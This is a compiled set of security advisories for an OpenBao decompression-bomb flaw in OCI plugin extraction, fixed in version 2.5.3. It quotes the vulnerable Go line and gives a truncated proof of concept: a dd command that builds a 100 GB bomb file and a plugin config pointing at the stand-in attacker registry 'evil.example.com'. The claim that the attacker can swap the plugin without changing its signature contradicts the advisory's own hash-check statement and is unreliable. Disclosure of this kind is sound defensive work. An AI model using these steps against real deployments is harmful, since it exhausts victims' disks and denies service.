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bdu:2026-08728

BIT-openbao-2026-39396 — OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Affected: Bitnami: openbao

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, `ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature. Version 2.5.3 contains a patch.

EUVD-2026-292283

fkie_cve-2026-39396

GHSA-r65v-xgwc-g56j — OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Affected: Go: github.com/openbao/openbao

### Summary

`ExtractPluginFromImage()` in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via `io.Copy` with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace **legit plugin image** with no need to change its signature.

### Details

#### Root cause

`helper/pluginutil/oci/downloader.go:301`:

```go if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil { ```

`io.Copy()` reads until EOF with no size limit. The tar `header.Size` field is never validated before the copy, and `mutate.Extract` decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

### PoC

1. Set up a malicious OCI registry 2. Create a decompression bomb binary: ```bash dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary ``` 3. Package it in a minimal OCI image 4. Push to the malicious registry 5. Configure victim OpenBao to use this registry: ```hcl plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plu…

openSUSE-SU-2026:10594-1 — openbao-2.5.3-1.1 on GA media

openbao-2.5.3-1.1 on GA media

WID-SEC-W-2026-1189 — OpenBao: Mehrere Schwachstellen

Ein Angreifer kann mehrere Schwachstellen in OpenBao ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, und um einen SQL-Injection Angriff durchzuführen.